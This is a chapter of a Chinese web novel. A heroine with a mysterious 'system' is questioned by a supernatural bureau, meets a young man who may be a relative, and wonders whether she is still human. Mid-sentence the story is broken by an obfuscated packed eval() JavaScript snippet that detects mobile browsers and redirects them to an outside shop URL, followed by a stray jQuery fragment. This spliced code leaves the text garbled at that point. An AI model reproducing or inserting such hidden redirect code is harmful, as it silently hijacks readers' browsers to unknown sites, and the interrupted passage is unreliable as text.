7. 我是谁?
    虽然但是......

    南音笙还是来到了监天局。

    以“热心市民”的身份。

    充斥着刺眼白炽灯光芒的审讯室内,言严和南赴栢一左一右分坐在南音笙对面。

    前者面色严肃,冷得随时能参加葬礼。后者没什么表情,只是偶尔看向南音笙的眼里流露出疑惑。

    只是录个笔录,硬生生被两人弄得像审讯。

    “你和酒鬼什么关系。”

    “我不清楚,也许是受害者和加害人的关系。”

    官方应该没有听见酒鬼的那一声阿母,不然她就不会毫无约束的坐在这了。

    不过...阿母是古时对母亲较为正式的称呼。

    在南音笙模拟人生时,模拟人物的后代都称女性模拟人物为“母”,“阿母”。

    所以酒鬼可能是她某一次模拟的产物。

    古今交接的错位感,让她有一瞬间的恍惚。

    “为什么你能在酒鬼的酒里随意穿行。”南赴栢问。

    “我不知道。”南音笙看着提问的青年。

    南赴栢。

    涿州监天局顾问,特殊血脉,不惧污染。

    言严曾经试探过她,称她与南顾问一定有话题可聊。

    她当时是怎么说来着......

    好像说的是,她和有趣的人都有话可说。

    言严回了一个尴尬摸头的表情包。

    也许好看的人总是很像,南音笙感觉南赴栢的眉眼与自己有几分相似,只不过直达灵魂的眼眸冲淡了他眉目间的温润。

    “你...有没有流落在外的亲人。”但南赴栢原本摄人的眸子此时清澈见底,不像是位高权重的顾问,反而像初入社会的学生。

    这也让他与南音笙的气质和神态更加相似。

    言严冰冷的表情没维持住,眼角一抽。

    “没有...应该。”如果不算模拟人物的后代,她在这个世界上无亲无故,“你们不是有我的资料吗。”

    “你在27号晚独自从中心城散步到老城区,恰巧进入清吧-心灵驿站,恰好看见论坛上关于酒鬼的消息,恰好遇见选择小型栖息地的酒鬼,又奇迹般地遇到酒鬼第一次化为人形。”

    言严急忙打断南赴栢的蠢蠢欲言,接过话语权道,“小笙,你不觉得巧合有点多吗?”

    “我本来就有四处散心的习惯,唯一巧合的,只有酒鬼选择我点的鸡尾酒当栖息地而已。”

    “至于它化不化成人形,我也控制不住啊。”南音无辜回望。

    “清澈”的眸子和南赴栢如出一辙。

    言严抚额苦笑。

    官方没有刻意刁难她,或者把她当成嫌疑犯审问,毕竟南音笙最后帮助南赴栢回收酒鬼做不得假,在没有证据证明南音笙和酒鬼有关前,他们不愿意让未来助力对官方失望。

    录完笔录,言严照常送她回家。南赴栢自然而然地混上车。

    作为南家这一代唯一出走的“先驱”,南赴栢轻易不会返回家族,所以近两年与家人相处时间极少。

    但在看见南音笙的那一刻,他莫名感受到亲近,来自血缘的亲近。这与他在家和亲人相处时的感受十分相似。

    虽然按理来说,南家人生活的地方特殊,轻易不踏足外界,有血缘亲属流落在外的可能性不大。

    但万一呢,南赴栢想,也许南音笙就是曾经离家出走成员,流落在外的孩子。

    她体内的能量值极高,如果是因为接触酒鬼进入萌芽期,早该破茧了。

    既然一个多月还没破茧,就说明她不是与酒鬼相关的未来解密人。

    但南音笙免疫酒鬼的污染......除去部分解密人能够硬抗酒鬼的污染外,只有神秘的血裔才能在酒鬼的酒海中安然无恙。

    更何况南音笙也姓南。

    她合该是他们的家人。

    南音笙被南赴栢磨得“没办法”,同意和他交换联系方式,并约定以后经常交流。

    毕竟有酒鬼那一声“阿母”在前,南音笙看着南赴栢与自己相似的眉眼,也没把握自己和他没有关系。

    而且有这么一个身居高位的“联系人”,她也更好套取情报,弄清自己的身份。

    言严全程没有说法,虽然他一直在开车,但是透过后视镜,还是完完整整看完了两人的交流过程。

    南赴栢此次因为酒鬼的异常,来到三秦出差,言严在收到消息的那一刻就预见了今天的场景。

    他很肯定南音笙是南家人,虽然不知道南音笙的辈分在哪,但是她那初入人类社会般对世界的懵懂,不惧污染的理所当然还是被他窥见了。

    而“人造污染茶”更是肯定了他的猜测。

    所以在言严眼里,两人第一次见面就分外亲近,交换联系方式的戏码,更像是南音笙为掩饰身份,和南赴栢一起演的戏。

    南赴栢也算他带出的“新人”,他可从来没见过他如此热切亲近的眼神。

    刚认识......

    以南赴栢的情商,他演的够好了。

    至于是否拆穿,言严从来没有想过。

    南家人每隔一两代总有人离开家族,独自外出闯荡。他们都有自己的坚持,并不是每一位都愿意加入官方。

    有时不同势力的南家人甚至会相互敌对,但从来没有打出真血,失败者只会被另一人遣回南家。

    而大多数情况下,他们的敌对不会对函夏造成伤害。

    所以官方从来不理会南姓世家后辈间的交流和小心思。

    除非南音笙作出危害社会的行为,否者官方只会想办法拉拢她,尽量满足她的需求,期望她为函夏尽一份力。

    两人吵吵闹闹了一路。

    等言严把南音笙送到海湾七号别墅,南赴栢下意识想跟着南音笙下车,被无奈的三秦监天局星辰司副司长叫住。

    “南顾问,你是不是忘了什么。”

    “什么?”南赴栢面露茫然。

    “审问酒鬼,利用各种异常还原酒鬼出逃到回收全过程,提交相关报告,返回涿州述职......”

    虽然大多数工作可以交给其他人,但是审问酒鬼只有南赴栢能行。

    而且酒鬼可以选择任意“美酒”栖息,哪怕采用一级封锁,它依旧能咬咬牙离开。

    以前还好,酒鬼大多数时候喜欢待在他们提供的酒水里,并且从不主动攻击。

    但现在酒鬼行为异常,并且原因不明。

    如果南赴栢不抓紧时间,他们怕酒鬼又跑了。

    时间紧急,日常和南音笙培养感情的时间已经结束,剩下的最好下次再说。

    闻言,南赴栢下车的动作顿住,随后缓缓坐会车内,“下次见小笙,记得信息联系。”

    听见这个称呼,南音笙眼皮一跳,但笑容如常道,“再见。”

    ......

    “系统,你是神秘吗?”言严他们走后,南音笙躺在沙发上,半晌才发出询问。

    神秘,也就是这个世界的神灵,世界污染的元凶,相互独居在非现实的空间内。

    神秘的气息落到现实世界,接触者不是即

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012565|148603||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刻暴毙,就是扭曲为神秘衍生物。只有极少数意志坚定者得以存活。

    而这少数幸存者中,大多数人会在不知不觉间成为相关神秘的狂信徒。

    南音笙的猜测不是无的放矢。

    酒鬼的那一声阿母让她醍醐灌顶。

    系统将她从死海里捞出来,成为只能听从它安排,并且对它心怀感激的“合作者。”

    但这位“合作者”在模拟中的后嗣,变成了异常。

    异常——受到神秘衍生物筛选污染,最终存活下来,并且思想扭曲的生物或物品。

    所以可以倒推出,她南音笙,在不知不觉间成为了神秘衍生物。或者说她操控的模拟人物是神秘衍生物。

    系统还带着她居住在独立于现实的特殊空间——虚无之地。

    系统拥有插手时空的能力——如同神灵般人类难以超越的权能。

    因此,南音笙很难不去猜测系统的身份。

    “不是,合作者误会了。”系统一如既往平静耐心。

    真的吗?

    系统从来没有说过假话,但南音笙心里还是留下了怀疑的种子。

    “原来如此,那我是神秘衍生物吗。”

    “......不是。”这和上一个问题差别不大。

    “哦,看来我真的误会了。”南音笙把头埋进抱枕。

    半晌,南音笙闷闷的问,“系统,我是人吗。”

    “......”

    “合作者需自行探索。”

    “看来不是了。”

    南音笙的头死死埋进枕头,但是没感觉到丝毫窒息。

    其实这一个多月以来,身体的异常早就被南音笙察觉了。

    她没有生理需求,一切都都是兴趣使然。

    她不会累,不需要呼吸,心脏能按照意志跳动或停止。

    她不会受伤,如果不控制身体缓慢愈合,利刃划过手臂最多只能带出一线红痕,并且在毫秒间恢复原状。

    南音笙清楚地知道自己早已非人,并且平静地接受了这一切。

    只不过......在系统眼里,她该伤心的。

    南音笙现在的意识对身体有极高的掌控力,模拟出悲伤的情绪轻而易举。

    而且她还想尝试用模拟的情绪,阻碍系统对自己思想的“保护”。

    “合作者,人类的身体只是适应世界的产物,并非必需品。”

    “肉/体终将腐朽,只有意志永恒。”

    “如果合作者认为自己是人,那么你可以是。”系统用冰冷的电子音安慰着,“合作者现在的身体由存粹能量构成,远比血肉优越,因此不必伤心。”

    南音笙小声嗯了一声。

    系统没发现她真正的所思所想,还在尽职尽责扮演值得信赖的合作伙伴。

    “合作者如果感到茫然,就继续模拟吧,到手的能量绝对不会背叛。”

    “...嗯,以后再说吧。”

    现在有更要紧的问题需要解决。

    “系统,我到底是什么?”茫然、无措、惶恐、哀伤,人类的复杂情绪向系统倾泻而出。

    异常还是神秘,她需要一个准确答案,以此来规划未来的发展路线。

    “合作者需自行探索。”

    “那我换一个问题,系统,我为什么不是异常?”

    “合作者需自行探索。”

    “好,我知道了。”南音笙从枕头堆里爬起来,对着照出自己模样的玻璃道,“晚安。”

    “晚安。”

    脑海里传来回应。